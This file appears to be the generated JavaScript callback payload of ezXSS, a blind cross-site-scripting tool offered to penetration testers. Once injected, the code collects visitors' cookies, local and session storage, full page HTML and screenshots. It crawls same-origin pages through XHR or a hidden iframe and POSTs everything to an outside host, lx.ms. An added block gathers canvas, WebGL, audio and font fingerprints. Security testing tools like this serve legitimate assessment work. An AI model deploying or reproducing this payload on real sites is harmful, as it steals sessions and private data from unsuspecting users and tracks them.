/**  ,     ,
    (\____/)      __        __   ezXSS       _                 
     (_oo_)       \ \      / /_ _ _ __ _ __ (_)_ __   __ _     This is an automated tool for penetration testers and bug bounty hunters
       (O)         \ \ /\ / / _` | '__| '_ \| | '_ \ / _` |    to test applications for (cross-site-scripting) weaknesses.
     __||__    \)   \ V  V / (_| | |  | | | | | | | | (_| |  
  []/______\[] /     \_/\_/ \__,_|_|  |_| |_|_|_| |_|\__, |    If you believe this tool has been tested or abused on your application
  / \______/ \/      警告!   warnung!  avertissement! |___/     without your permission, please contact us at abuse@ezxss.com. 
 /    /__\            warning! ¡advertencia!  تحذير!
(\   /____\       aviso!  Предупреждение!    peringatan!       STRICTLY PROHIBITED FOR ANY ILLEGAL ACTIVITY | More info: https://ezxss.com
 */

function ez_n(e){return void 0 !==e?e:''}
function ez_cb(e,t,o){o=void 0!==o?o:0;var s,n="http://lx.ms/callback";window.XMLHttpRequest?((s=new XMLHttpRequest).open("POST",n,!0),s.setRequestHeader("Content-type","text/plain")):((s=new ActiveXObject("Microsoft.XMLHTTP")).open("POST",n,!0),s.setRequestHeader("Content-type","application/x-www-form-urlencoded")),s.onreadystatechange=function(){if(4===s.readyState)if(200===s.status)null!==t&&t(s.responseText);else{var n=e;0===o&&(n.cookies="",n.localstorage="",n.sessionstorage="",n.dom="Error callback: "+s.status,n.screenshot="",ez_cb(n,t,1))}};try{s.send(ez_se(e))}catch(n){}}
function ez_hL(){try{ez_rD.uri=ez_n(location.toString())}catch(t){ez_rD.uri=""}try{ez_rD.cookies=ez_n(document.cookie)}catch(e){ez_rD.cookies=""}try{ez_rD.referer=ez_n(document.referrer);var u="";try{if(window.self!==window.top)u="iFrame loaded via "+window.parent.location;}catch(e){u="iFrame loaded via cross-origin";}ez_rD.referer+=(ez_rD.referer&&u?" - ":"")+u;}catch(o){ez_rD.referer=""}try{ez_rD["user-agent"]=ez_n(navigator.userAgent)}catch(r){ez_rD["user-agent"]=""}try{ez_rD.origin=ez_n(location.origin)}catch(c){ez_rD.origin=""}try{ez_rD.localstorage=ez_n(window.localStorage)}catch(a){ez_rD.localstorage=""}try{ez_rD.sessionstorage=ez_n(window.sessionStorage)}catch(n){ez_rD.sessionstorage=""}try{ez_rD.dom=ez_n(document.documentElement.outerHTML||document.documentElement.innerHTML)}catch(s){ez_rD.dom=""}try{ez_rD.payload="//lx.ms/"}catch(i){ez_rD.payload=""}try{"undefined"!=typeof html2canvas?html2canvas(document.body,{"max-width":1920,"max-height":1080}).then(function(t){ez_rD.screenshot=ez_n(t.toDataURL()),y()}).then(void 0,function(t){ez_rD.screenshot="",y()}):(ez_rD.screenshot="",y())}catch(h){ez_rD.screenshot="",y()}function y(){ez_s(),ez_nW(),ez_cb(ez_rD,ez_dr2),ez_cp(),ez_p()}}
function ez_p(){"function"==typeof ez_persist&&ez_persist()}function ez_s(){var t,n,o=[];for(t=0,n=o.length;t<n;++t)ez_rD[o[t]]="Not collected"}function ez_cp(){var t,n,o=[];for(t=0,n=o.length;t<n;++t)ez_dc(o[t])}
function ez_as(){var sm="0";if("0"!==sm){var t=document.getElementsByTagName("a"),e={};if("1"===sm){for(var n=[],o=0;o<t.length;o++)try{var a=(c=t[o]).getAttribute("href");(h=s(c,a)).ez_iiv&&!e[h.path]&&(e[h.path]=!0,n.push(h.path))}catch(t){}!function t(e){e>=n.length||(ez_dc(n[e]),setTimeout((function(){t(e+1)}),100))}(0)}else if("2"===sm){var i=document.createElement("iframe");i.style.display="none";try{document.body.appendChild(i)}catch(t){return}n=[];var r=!1;for(o=0;o<t.length;o++)try{var c,h;a=(c=t[o]).getAttribute("href");(h=s(c,a)).ez_iiv&&!e[h.path]&&(e[h.path]=!0,n.push(h.path))}catch(t){}!function t(){if(!r&&0!==n.length){r=!0;var o=n.shift();try{i.src=o,i.onload=function(){try{var a=i.contentDocument||i.contentWindow.document,c=i.contentWindow||window,h={dom:ez_n(a.documentElement.outerHTML),uri:ez_n("//"+location.hostname+o),origin:ez_n(location.hostname),referer:"Collected page via "+ez_n(location.toString()),cookies:ez_n(a.cookie||document.cookie),"user-agent":ez_n(navigator.userAgent),sessionstorage:ez_n(c.sessionStorage||window.sessionStorage),localstorage:ez_n(c.localStorage||window.localStorage),payload:"//lx.ms/"};ez_cb(h,null);for(var l=a.getElementsByTagName("a"),u=0;u<l.length;u++)try{var d=l[u].getAttribute("href"),f=s(l[u],d);f.ez_iiv&&!e[f.path]&&(e[f.path]=!0,n.push(f.path))}catch(t){}}catch(t){}r=!1,t()},i.onerror=function(){r=!1,t()}}catch(e){r=!1,t()}}}()}}function s(t,e){if(!e||0===e.indexOf("#")||0===e.indexOf("javascript:")||0===e.indexOf("mailto:"))return{ez_iiv:!1};var n=e,o=!1;return"http:"!==t.protocol&&"https:"!==t.protocol||t.hostname!==location.hostname?"/"===e.charAt(0)&&0!==e.indexOf("//")?(o=!0,n=e):-1===e.indexOf("://")&&0!==e.indexOf("//")&&(o=!0,n="/"+e):(o=!0,n=t.pathname||e),{ez_iiv:o,path:n}}}
function ez_dc(e){try{var o="//"+location.hostname+e;var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");a.onreadystatechange=function(){4==a.readyState&&(cbdata={dom:ez_n(a.responseText),uri:ez_n(o),origin:ez_n(location.hostname),referer:"Collected page via "+ez_n(location.toString()),cookies:ez_n(document.cookie),"user-agent":ez_n(navigator.userAgent),sessionstorage:ez_n(window.sessionStorage),localstorage:ez_n(window.localStorage),payload:"//lx.ms/"},ez_cb(cbdata,null))},a.open("GET",o,!0),a.send(null)}catch(t){}}
function ez_se(e){try{if("undefined"!=typeof JSON&&"function"==typeof JSON.stringify)try{return JSON.stringify(e)}catch(e){alert("JSON.stringify error: "+e)}var n=[];for(var t in e)if(e.hasOwnProperty(t)){var r=e[t];if(null==r)r="";else if("object"==typeof r)try{r=ez_n(r.toString())}catch(e){r=""}else r=ez_n(r);n.push(encodeURIComponent(t)+"="+encodeURIComponent(r))}return n.join("&")}catch(e){return""}}
function ez_e() { }
function ez_l() { }
function ez_y() { }
function ez_esa() { }

function ez_aE(t,e,n){t.addEventListener?t.addEventListener(e,n,!1):t.attachEvent&&t.attachEvent("on"+e,n)}var ez_rD={};function ez_nW(){try{ez_e(),ez_l()}catch(t){}}function ez_dr2(z){try{ez_y(),ez_esa(),ez_as()}catch(t){}}function ez_a(k,v){if(!ez_rD.extra){ez_rD.extra={}}if(typeof k==='object'&&k!==null){for(var key in k){if(k.hasOwnProperty(key)){ez_rD.extra[key]=k[key];}}}else{ez_rD.extra[k]=v;}}

function getEnhancedInfo() {
    try {
        const info = {
            platform: window.navigator.platform,
            language: window.navigator.language,
            languages: window.navigator.languages || [],
            cookiesEnabled: window.navigator.cookieEnabled,
            doNotTrack: window.navigator.doNotTrack,
            vendor: window.navigator.vendor,
            javaEnabled: window.navigator.javaEnabled ? window.navigator.javaEnabled() : false,
            
            screen: {
                width: window.screen.width,
                height: window.screen.height,
                availWidth: window.screen.availWidth,
                availHeight: window.screen.availHeight,
                colorDepth: window.screen.colorDepth,
                pixelDepth: window.screen.pixelDepth,
                orientation: window.screen.orientation ? window.screen.orientation.type : 'unknown'
            },
            
            viewport: {
                width: window.innerWidth,
                height: window.innerHeight,
                devicePixelRatio: window.devicePixelRatio || 1,
                scrollX: window.scrollX,
                scrollY: window.scrollY
            },
            
            capabilities: {
                webglEnabled: !!window.WebGLRenderingContext,
                webgl2Enabled: !!window.WebGL2RenderingContext,
                webrtcEnabled: !!(window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection),
                geolocationEnabled: !!navigator.geolocation,
                notificationsEnabled: !!window.Notification,
                serviceWorkerEnabled: !!navigator.serviceWorker,
                webAssemblyEnabled: !!window.WebAssembly,
                indexedDBEnabled: !!window.indexedDB,
                localStorageEnabled: !!window.localStorage,
                sessionStorageEnabled: !!window.sessionStorage,
                webSocketEnabled: !!window.WebSocket,
                fetchEnabled: !!window.fetch,
                promiseEnabled: !!window.Promise,
                cryptoEnabled: !!(window.crypto && window.crypto.subtle),
                speechSynthesisEnabled: !!window.speechSynthesis,
                speechRecognitionEnabled: !!(window.SpeechRecognition || window.webkitSpeechRecognition)
            },
            
            timezone: {
                name: Intl.DateTimeFormat().resolvedOptions().timeZone,
                offset: new Date().getTimezoneOffset(),
                locale: Intl.DateTimeFormat().resolvedOptions().locale
            },
            
            hardware: {
                hardwareConcurrency: navigator.hardwareConcurrency || 'unknown',
                deviceMemory: navigator.deviceMemory || 'unknown',
                maxTouchPoints: navigator.maxTouchPoints || 0,
                connection: getConnectionInfo()
            },
            
            browser: detectBrowser(),
            
            plugins: getPluginInfo(),
            
            webglFingerprint: getWebGLFingerprint(),
            
            canvasFingerprint: getCanvasFingerprint(),
            
            audioFingerprint: getAudioFingerprint(),
            
            fonts: detectFonts(),
            
            battery: getBatteryInfo(),
            
            mediaDevices: getMediaDevicesInfo()
        };
        
        return info;
    } catch (e) {
        return {
            error: e.message,
            timestamp: new Date().toISOString()
        };
    }
}

function getConnectionInfo() {
    try {
        const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
        if (connection) {
            return {
                effectiveType: connection.effectiveType,
                downlink: connection.downlink,
                rtt: connection.rtt,
                saveData: connection.saveData,
                type: connection.type
            };
        }
        return 'not available';
    } catch (e) {
        return 'error: ' + e.message;
    }
}

function detectBrowser() {
    const userAgent = navigator.userAgent;
    const browsers = {
        chrome: /Chrome\/(\d+)/.exec(userAgent),
        firefox: /Firefox\/(\d+)/.exec(userAgent),
        safari: /Safari\/(\d+)/.exec(userAgent),
        edge: /Edg\/(\d+)/.exec(userAgent),
        opera: /OPR\/(\d+)/.exec(userAgent),
        ie: /MSIE (\d+)/.exec(userAgent)
    };
    
    const detected = {};
    Object.keys(browsers).forEach(browser => {
        if (browsers[browser]) {
            detected.name = browser;
            detected.version = browsers[browser][1];
        }
    });
    
    detected.userAgent = userAgent;
    detected.appName = navigator.appName;
    detected.appVersion = navigator.appVersion;
    detected.product = navigator.product;
    
    return detected;
}

function getPluginInfo() {
    try {
        const plugins = [];
        for (let i = 0; i < navigator.plugins.length; i++) {
            const plugin = navigator.plugins[i];
            plugins.push({
                name: plugin.name,
                description: plugin.description,
                filename: plugin.filename,
                version: plugin.version || 'unknown'
            });
        }
        return plugins;
    } catch (e) {
        return 'error: ' + e.message;
    }
}

function getWebGLFingerprint() {
    try {
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
        
        if (!gl) {
            return 'WebGL not supported';
        }
        
        const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
        return {
            vendor: gl.getParameter(gl.VENDOR),
            renderer: gl.getParameter(gl.RENDERER),
            version: gl.getParameter(gl.VERSION),
            shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
            unmaskedVendor: debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'not available',
            unmaskedRenderer: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'not available',
            maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
            maxViewportDims: gl.getParameter(gl.MAX_VIEWPORT_DIMS)
        };
    } catch (e) {
        return 'error: ' + e.message;
    }
}

function getCanvasFingerprint() {
    try {
        const canvas = document.createElement('canvas');
        const ctx = canvas.getContext('2d');
        
        ctx.textBaseline = 'top';
        ctx.font = '14px Arial';
        ctx.fillText('Canvas fingerprint test 🎨', 2, 2);
        ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
        ctx.fillRect(10, 10, 50, 50);
        
        return {
            dataURL: canvas.toDataURL(),
            hash: hashCode(canvas.toDataURL())
        };
    } catch (e) {
        return 'error: ' + e.message;
    }
}

function getAudioFingerprint() {
    try {
        if (!window.AudioContext && !window.webkitAudioContext) {
            return 'AudioContext not supported';
        }
        
        const audioContext = new (window.AudioContext || window.webkitAudioContext)();
        const oscillator = audioContext.createOscillator();
        const analyser = audioContext.createAnalyser();
        const gainNode = audioContext.createGain();
        
        oscillator.type = 'triangle';
        oscillator.frequency.setValueAtTime(10000, audioContext.currentTime);
        
        gainNode.gain.setValueAtTime(0, audioContext.currentTime);
        
        oscillator.connect(analyser);
        analyser.connect(gainNode);
        gainNode.connect(audioContext.destination);
        
        oscillator.start(0);
        
        const frequencyData = new Uint8Array(analyser.frequencyBinCount);
        analyser.getByteFrequencyData(frequencyData);
        
        oscillator.stop();
        audioContext.close();
        
        return {
            sampleRate: audioContext.sampleRate,
            maxChannelCount: audioContext.destination.maxChannelCount,
            numberOfInputs: audioContext.destination.numberOfInputs,
            numberOfOutputs: audioContext.destination.numberOfOutputs,
            channelCount: audioContext.destination.channelCount,
            frequencyDataHash: hashCode(Array.from(frequencyData).join(','))
        };
    } catch (e) {
        return 'error: ' + e.message;
    }
}

function detectFonts() {
    try {
        const baseFonts = ['monospace', 'sans-serif', 'serif'];
        const testFonts = [
            'Arial', 'Helvetica', 'Times New Roman', 'Courier New', 'Verdana',
            'Georgia', 'Palatino', 'Garamond', 'Bookman', 'Comic Sans MS',
            'Trebuchet MS', 'Arial Black', 'Impact', 'Lucida Console',
            'Tahoma', 'Geneva', 'Lucida Sans Unicode', 'Franklin Gothic Medium',
            'Arial Narrow', 'Brush Script MT', 'Lucida Handwriting'
        ];
        
        const canvas = document.createElement('canvas');
        const ctx = canvas.getContext('2d');
        const testString = 'mmmmmmmmmmlli';
        const testSize = '72px';
        
        const baselines = {};
        baseFonts.forEach(font => {
            ctx.font = testSize + ' ' + font;
            baselines[font] = ctx.measureText(testString).width;
        });
        
        const detectedFonts = [];
        testFonts.forEach(font => {
            baseFonts.forEach(baseFont => {
                ctx.font = testSize + ' ' + font + ', ' + baseFont;
                const width = ctx.measureText(testString).width;
                if (width !== baselines[baseFont]) {
                    if (!detectedFonts.includes(font)) {
                        detectedFonts.push(font);
                    }
                }
            });
        });
        
        return detectedFonts;
    } catch (e) {
        return 'error: ' + e.message;
    }
}


function getBatteryInfo() {
    if (!navigator.getBattery) {
        return 'Battery API not supported';
    }
    
    return 'Battery API available';
}

function getMediaDevicesInfo() {
    if (!navigator.mediaDevices) {
        return 'MediaDevices API not supported';
    }
    
    return {
        supported: true,
        enumerateDevices: !!navigator.mediaDevices.enumerateDevices,
        getUserMedia: !!navigator.mediaDevices.getUserMedia,
        getDisplayMedia: !!navigator.mediaDevices.getDisplayMedia
    };
}

function hashCode(str) {
    let hash = 0;
    if (str.length === 0) return hash;
    for (let i = 0; i < str.length; i++) {
        const char = str.charCodeAt(i);
        hash = ((hash << 5) - hash) + char;
        hash = hash & hash;
    }
    return hash.toString();
}

ez_a(getEnhancedInfo());


if("complete"===document.readyState)ez_hL();else{var t=setTimeout(function(){ez_hL()},2e3);ez_aE(window,"load",function(){clearTimeout(t),ez_hL()})}

/**     :..........................................................................................................................:        
       .:                                                                                                                          :.       
...... .^..........................................................................................................................^. ......  
^.     .:                                                                                                                          :.     .^
^      .:                                                     ...         ....      .........           ........                   :.      ^
^      .:                                                    :^^^^.      .^^^^.    .^^:::::^^.         :^^:::::^^.                 :.      ^
^      .:                                                    .::^^^^.  :^^^^::   :^^^:     ::::.     ^^^^.     ::::.               :.      ^
^      .:               :^^:::::::^^.    .:::::::^^^^^^^::.     ::^^^^^^^^::     :^^^:               ::^^.                         :.      ^
^      .:             ^^^^.       :^^^:          ^^^^^^^          :^^^^^^.         .^^::::::::^.       :^^::::::::^.               :.      ^
^      .:             ^^^^^:::::::^^^^:       .::^^^^:          ::^^^^^^^^::                 :^^::               :^^::             :.      ^
^      .:             ^^^^.                 .::^^^^.         .::^^^^.  :^^^^::   .:::.       .^^^^   ::::.       :^^^^             :.      ^
^      .:             ..^^:.........      .:^^^^^^^:.......  :^^^^..    ..^^^^.   .:~^.......:^:.    ..:^:.......^^:               :.      ^
^      .:               ............      ................    ....        ....      ...........         ...........                :.      ^
^      .:                                                                                                                          :.      ^   
^      .:            :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^:            :.      ^
^      .^. ........  :^^^^^^^^^^^: .^^^^^^^: .^^^^^^^. :^^^^^^^. :^^^^^^: .^^^^^^^: .^^^^^^^. :^^^^^^^. :^^^^^^^^^^^^^:  ........ .^.      ^   *--------------------
^                    :^^^^^^^^^^^:..^^^^^^^:.:^^^^^^^:.:^^^^^^^..:^^^^^^:..^^^^^^^:.:^^^^^^^:.:^^^^^^^..^^^^^^^^^^^^^^:                    ^   ezXSS
^                    :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^.                    ^   github.com/ssl/ezXSS
^                                                                                                                                          ^   
^                                                                                                                                          ^   made with <3
:..........................................................................................................................................:   --------------------*/